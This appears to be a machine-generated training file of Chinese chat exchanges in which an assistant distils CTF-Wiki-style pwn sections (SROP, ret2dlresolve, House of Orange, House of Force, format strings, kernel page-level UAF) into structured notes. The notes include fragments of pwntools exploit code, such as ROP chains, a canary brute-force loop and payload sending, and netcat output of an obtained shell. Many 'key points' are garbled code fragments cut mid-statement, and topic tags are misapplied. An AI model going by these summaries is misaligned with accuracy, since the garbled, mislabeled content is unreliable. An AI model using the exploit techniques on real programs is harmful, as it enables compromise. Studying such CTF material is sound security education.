[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md`
标题：SROP
章节：SROP > 题目
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“题目”展开。
- Defcon 2015 Qualifier: fuckup 参考阅读 - Sigreturn Oriented Programming (SROP) Attack攻击原理 - SROP by Angel Boy - 系统调用

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

题目

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow

SROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md` 中的章节「call execv("/bin/sh",0,0)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md`
标题：SROP
章节：SROP > call execv("/bin/sh",0,0)
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“call execv("/bin/sh",0,0)”展开。
- 利用第三个程序起始地址进而读入payload - 再次读取构造sigreturn调用，进而将向栈地址所在位置读入数据，构造execve('/bin/sh',0,0) - 再次读取构造sigreturn调用，从而获取shell。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

call execv("/bin/sh",0,0)

SROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md`
标题：House of Orange
章节：House of Orange > 原理
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“原理”展开。
- } ` 此时ptmalloc已经不能满足用户申请堆内存的操作，需要执行sysmalloc来向系统申请更多的空间。
- 这种操作的原理简单来说是当前堆的top chunk尺寸不足以满足申请分配的大小的时候，原来的top chunk会被释放并被置入unsorted bin中，通过这一点可以在没有free函数情况下获取到unsorted bins。
- 但是对于堆来说有mmap和brk两种分配方式，我们需要让堆以brk的形式拓展，之后原有的top chunk会被置于unsorted bin中。
- 如我们前面所述，House of Orange的核心在于在没有free函数的情况下得到一个释放的堆块(unsorted bin)。
- 首先我们在程序中的malloc调用会执行到libc.so的_int_malloc函数中，在_int_malloc函数中，会依次检验fastbin、small bins、unsorted bin、large bins是否可以满足分配要求，因为尺寸问题这些都不符合。

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 9 行，首行 `/*`
- plain: 1 行，首行 `if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))`
- plain: 4 行，首行 `assert((old_top == initial_top(av) && old_size == 0) ||`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

原理

House of Orange


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > 64位程序格式化字符串漏洞 > 例子
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“例子”展开。
- 这里，我们以 2017 年的 UIUCTF 中 pwn200 GoodLuck 为例进行介绍。
- 这里由于只有本地环境，所以我在本地设置了一个 flag.txt 文件。

关键术语：
- pwn
- linux
- user-mode
- fmtstr

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

例子

例子 64位程序格式化字符串漏洞 例子

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct fake stack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：construct fake stack
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“construct fake stack”展开。
- ret rop.raw(0x600B30+len(dynstr)) rop.raw(0x400516) # the second instruction of read@plt rop.raw(0xdeadbeef) print(len(rop.chain())) rop.raw('a'*(stack_size-len(rop.chain()))) io.send(rop.chain())

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

construct fake stack

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/browser/chrome/js-engine/history.md` 中的章节「2016: Ignition Interpreter + Full-code Generation + Crankshaft / TurboFan JIT Compiler & Optimizer」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/browser/chrome/js-engine/history.md`
标题：V8 Design History
章节：V8 Design History > 2016: Ignition Interpreter + Full-code Generation + Crankshaft / TurboFan JIT Compiler & Optimizer
路径分类：pwn / pwn/browser/chrome
分块：1/1

核心知识点：
- 本节主题围绕“2016: Ignition Interpreter + Full-code Generation + Crankshaft / TurboFan JIT Compiler & Optimizer”展开。
- 而未开启 Ignition 的 V8 则走的是原来的全量代码生成 + Crankshaft 优化的路径（梦回 2010 了属于是）。
- > 这个时候的整个编译管线变得又大又麻了，于是新的一轮架构优化便是必有的事情——

关键术语：
- pwn
- browser
- chrome
- js-engine

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

2016: Ignition Interpreter + Full-code Generation + Crankshaft / TurboFan JIT Compiler & Optimizer

V8 Design History


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「Second try - no leak」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：rop.raw('\x00'*(256-len(rop.chain()))) > Second try - no leak
路径分类：pwn / pwn/linux/user-mode
分块：2/2

核心知识点：
- 本节主题围绕“Second try - no leak”展开。
- 利用代码如下 ``python from pwn import *
- `` 一般而言，至少有 __libc_start_main 已经解析过了。
- org 600FF0h .got:0000000000600FF0 __libc_start_main_ptr dq offset __libc_start_main .got:0000000000600FF0 ;
- DATA XREF: _read↑r .got.plt:0000000000601030 _got_plt ends .got.plt:0000000000601030 ` 与此同时，通过阅读 _dl_fixup 函数的代码，在设置 __builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) 为 0 后，我们可以发现，该函数主要依赖了 link_map 中 l_info 的内容。
- ONTAGNUM+DT_EXTRANUM+DT_VALNUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM) are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>. / ElfW(Dyn) l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 1 行，首行 `一般而言，至少有 __libc_start_main 已经解析过了。本例中，显然不止这一个函数。`
- plain: 2 行，首行 `与此同时，通过阅读 `_dl_fixup` 函数的代码，在设置 `__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0)` 为 0 后，我们可以发现，该函数主要依赖了 link_...`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Second try - no leak

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「参考文献」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`
标题：Unsorted Bin Attack
章节：in order not to merge into top chunk > 参考文献
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“参考文献”展开。
- http://brieflyx.me/2016/ctf-writeups/0ctf-2016-zerostorage/ - https://github.com/HQ1995/Heap_Senior_Driver/tree/master/0ctf2016/zerostorage - https://github.com/scwuaptx/CTF/blob/master/2016-writeup/0ctf/zerostorage.py

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

参考文献

in order not to merge into top chunk
参考文献

Unsorted Bin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md` 中的章节「初始检查」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/ptmalloc-check.md`
标题：堆中的检查
章节：堆中的检查 > 初始检查
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“初始检查”展开。
- | 检查目标 | 检查条件 | 信息 | | :---: | :--------------------------------------: | :-----------------: | | 申请的大小 | REQUEST_OUT_OF_RANGE(req) ：((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE)) | __set_errno(ENOMEM) |

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

初始检查

堆中的检查


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「基本 ROP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`
标题：基本 ROP
章节：基本 ROP
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本 ROP”展开。
- 随着 NX (Non-eXecutable) 保护的开启，传统的直接向栈或者堆上直接注入代码的方式难以继续发挥效果，由此攻击者们也提出来相应的方法来绕过保护。
- 目前被广泛使用的攻击手法是 返回导向编程 (Return Oriented Programming)，其主要思想是在 栈缓冲区溢出的基础上，利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值，从而控制程序的执行流程。
- gadgets 通常是以 ret 结尾的指令序列，通过这样的指令序列，我们可以多次劫持程序控制流，从而运行特定的指令序列，以完成攻击的目的。
- 返回导向编程这一名称的由来是因为其核心在于利用了指令集中的 ret 指令，从而改变了指令流的执行顺序，并通过数条 gadget “执行” 了一个新的程序。
- 使用 ROP 攻击一般得满足如下条件： - 程序漏洞允许我们劫持控制流，并控制后续的返回地址。

关键术语：
- 边界/溢出
- 堆
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本 ROP

边界/溢出 堆 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow

基本 ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「Top Chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`
标题：堆相关数据结构
章节：define INTERNAL_SIZE_T size_t > Top Chunk
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“Top Chunk”展开。
- glibc 中对于 top chunk 的描述如下 ``c++ / Top The top-most available chunk (i.e., the one bordering the end of available memory) is treated specially.
- It is never included in any bin, is used only if no other chunk is available, and is released back to the system if it is very large (see M_TRIM_THRESHOLD).
- 在main arena中通过sbrk扩展heap，而在thread arena中通过mmap分配新的heap。
- 其实，所谓的top chunk 就是处于当前堆的物理地址最高的 chunk。
- 初始情况下，我们可以将 unsorted chunk` 作为 top chunk。

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap
- code:c++

代码/命令片段线索：
- c++: 18 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Top Chunk

堆相关数据结构


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「Second try - no leak」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：rop.raw('\x00'*(256-len(rop.chain()))) > Second try - no leak
路径分类：pwn / pwn/linux/user-mode
分块：1/2

核心知识点：
- 本节主题围绕“Second try - no leak”展开。
- 可以看出，在上面的测试中，我们仍然利用 write 函数泄露了 link_map 的地址，那么，如果程序中没有输出函数，我们是否还能够发起利用呢？
- #endif / Currently result contains the base load address (or link map) of the object that defines sym.
- / Chain of loaded objects. / / All following members are internal to the dynamic linker.
- `` 一般而言，至少有 __libc_start_main 已经解析过了。
- 我们再来看一下 _dl_fix_up 的实现 ``c / Look up the target symbol.

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:c

代码/命令片段线索：
- c: 51 行，首行 `/* Look up the target symbol. If the normal lookup rules are not`
- c: 9 行，首行 `/* How to extract and insert information held in the st_other field. */`
- plain: 1 行，首行 `value = l->l_addr + sym->st_value`
- c: 34 行，首行 `struct link_map`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Second try - no leak

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/basic.md` 中的章节「malloc_printerr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/basic.md`
标题：基础操作
章节：基础操作 > malloc_printerr
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- ``cpp static void malloc_printerr(const char str) { __libc_message(do_abort, "%s\n", str);
- } ` 主要会调用 __libc_message 来执行abort 函数，如下 `c if ((action & do_abort)) { if ((action & do_backtrace)) BEFORE_ABORT(do_abort, written, fd);
- } ` 在abort 函数里，在 glibc 还是2.23 版本时，会 fflush stream。
- We cannot close them now because the user might have registered a handler for SIGABRT. */ if (stage == 1) { ++stage;
- 在 glibc malloc 时检测到错误的时候，会调用 malloc_printerr 函数。
- __builtin_unreachable();

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:cpp
- code:c

代码/命令片段线索：
- cpp: 4 行，首行 `static void malloc_printerr(const char *str) {`
- c: 6 行，首行 `if ((action & do_abort)) {`
- c: 7 行，首行 `/* Flush all streams. We cannot close them now because the user`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

malloc_printerr

堆 pwn linux user-mode heap code:cpp code:c

基础操作


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`
标题：House Of Force
章节：House Of Force > 原理
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“原理”展开。
- } ` 然而，如果可以篡改 size 为一个很大值，就可以轻松的通过这个验证，这也就是我们前面说的需要一个能够控制top chunk size 域的漏洞。
- `` 所以，如果我们想要下次在指定位置分配大小为 x 的 chunk，我们需要确保 remainder_size 不小于 x+ MINSIZE。
- House Of Force 是一种堆利用方法，但是并不是说 House Of Force 必须得基于堆漏洞来进行利用。
- 如果一个堆(heap based) 漏洞想要通过 House Of Force 方法进行利用，需要以下条件： 1. 能够以溢出等方式控制到 top chunk 的 size 域 2. 能够自由地控制堆分配尺寸的大小 House Of Force 产生的原因在于 glibc 对 top chunk 的处理，根据前面堆数据结构部分的知识我们得知，进行堆分配时，如果所有空闲的块都无法满足需求，那么就会从 top chunk 中分割出相应的大小作为堆块的空间。
- if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb;

关键术语：
- 边界/溢出
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- plain: 17 行，首行 `// 获取当前的top chunk，并计算其对应的大小`
- plain: 1 行，首行 `(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)`
- plain: 4 行，首行 `remainder = chunk_at_offset(victim, nb);`
- c: 4 行，首行 `victim = av->top;`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

原理

边界/溢出 堆 AI安全 漏洞利用 pwn linux user-mode heap code:c

House Of Force


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/environment/build-kernel-module.md` 中的章节「Kbuild 构建系统」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/environment/build-kernel-module.md`
标题：编写一个 Loadable Kernel Module
章节：编写一个 Loadable Kernel Module > 基本的内核模块 > Kbuild 构建系统
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“Kbuild 构建系统”展开。
- 下面是一个最基础的 Kbuild 文件的示例，语法上有点类似于 Makefile： ```makefile
- Kbuild 是 Linux kernel 构建系统的一部分，简而言之，当我们在源码目录下编写了 Kbuild 文件之后，在编译时 Linux kernel 的编译基础设施便会根据 Kbuild 来自动地编译好我们的内核模块，若没有 Kbuild 则会选择寻找 Makefile 。

关键术语：
- pwn
- linux
- kernel-mode
- environment

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Kbuild 构建系统

编写一个 Loadable Kernel Module
基本的内核模块
Kbuild 构建系统

编写一个 Loadable Kernel Module


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「虚拟内存空间」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`
标题：基础知识
章节：基础知识 > 虚拟内存空间
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 在现代操作系统中，计算机的虚拟内存地址空间通常被分为两块——供用户进程使用的用户空间（user space）与供操作系统内核使用的内核空间（kernel space），对于 Linux 而言，通常位于较高虚拟地址的虚拟内存空间被分配给内核使用，而位于较低虚拟地址的虚拟内存空间责备分配给用户进程使用。
- 文件: ./figure/mm_layout_32.png] 64 位下的虚拟内存空间布局如下： [图片: 64 位系统内存布局;
- 32 位下的虚拟内存空间布局如下： [图片: 32 位系统内存布局;
- 文件: ./figure/mm_layout_64.png]

关键术语：
- pwn
- linux
- kernel-mode
- basic-knowledge.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

虚拟内存空间

pwn linux kernel-mode basic-knowledge.md

基础知识


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「方法二、内核页表解析获取内核栈物理地址，利用直接映射区覆写内核栈完成 ROP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`
标题：Page-level UAF
章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Step.IV - 提权 > 方法二、内核页表解析获取内核栈物理地址，利用直接映射区覆写内核栈完成 ROP
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“方法二、内核页表解析获取内核栈物理地址，利用直接映射区覆写内核栈完成 ROP”展开。
- 由于 page 结构体数组与物理内存页一一对应的缘故，我们可以很轻易地在物理地址与 page 结构体地址间进行转换，而在页表当中存放的是物理地址，我们不难想到的是我们可以通过解析当前进程的页表来获取到内核栈的物理地址，从而获取到内核栈对应的 page，之后我们可以直接向内核栈上写 ROP chain 来完成任意代码执行。
- 页表的地址可以通过 mm_struct 获取， mm_struct 地址可以通过 task_struct 获取，内核栈地址同样可以通过 task_struct 获取，那么这一切其实是水到渠成的事情。
- 需要注意的是内核栈是使用 vmalloc 分配的一个内存段，因此 内核栈对应的四张内存页不一定是物理连续的 ，如果我们以解析第一张内存页对应的物理地址的结果来计算栈底页的物理地址，则有相当大的概率没法直接写到当前进程的内核栈上 （也不知道写哪去了），从而导致 ROP 失败。
- 因此我们需要解析栈底内存页的虚拟地址对应的物理地址，而非直接解析从 task_struct 中拿到的栈顶虚拟地址对应的物理地址后再计算栈底的物理地址。
- 开启了 CFI 并不代表我们便不能够在内核空间中进行任意代码执行了。

关键术语：
- UAF
- 堆
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

方法二、内核页表解析获取内核栈物理地址，利用直接映射区覆写内核栈完成 ROP

Page-level UAF
例题：D^3CTF2023 - d3kcache
漏洞利用
Step.IV - 提权
方法二、内核页表解析获取内核栈物理地址，利用直接映射区覆写内核栈完成 ROP

UAF 堆 栈 ROP/JOP AI安全 漏洞利用 pwn linux kernel-mode exploitation

Page-level UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「context.log_level = "debug"」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`
标题：花式栈溢出技巧
章节：context.log_level = "debug"
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“context.log_level = "debug"”展开。
- context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
- while True: try: io = process("./babypie", timeout = 1)
- gdb.attach(io) io.sendafter(":\n", 'a' (0x30 - 0x8 + 1)) io.recvuntil('a' (0x30 - 0x8 + 1)) canary = '\0' + io.recvn(7) success(canary.encode('hex'))
- gdb.attach(io) io.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3E\x0A')
- io.interactive() except Exception as e: io.close() print e ``` 需要注意的是, 这种技巧不止在栈上有效, 在堆上也是一种有效的绕过地址随机化的手段

关键术语：
- 边界/溢出
- 堆
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

context.log_level = "debug"

边界/溢出 堆 栈 ROP/JOP pwn linux user-mode stackoverflow

花式栈溢出技巧


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「gdb.attach(io)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：gdb.attach(io)
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“gdb.attach(io)”展开。
- io.send(payload) io.interactive() `` 需要注意的是，在伪造 linkmap 的时候，我们是从偏移 0x68 开始构造的，所以在最后对齐的时候设置 linkmap.ljust(0xf8-0x68, 'A')。
- 执行效果 `shell ❯ nc -l 127.0.0.1 8080 uid=1000(iromise) gid=1000(iromise)...

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

代码/命令片段线索：
- plain: 2 行，首行 `需要注意的是，在伪造 linkmap 的时候，我们是从偏移 0x68 开始构造的，所以在最后对齐的时候设置 `linkmap.ljust(0xf8-0x68, 'A')`。`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

gdb.attach(io)

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

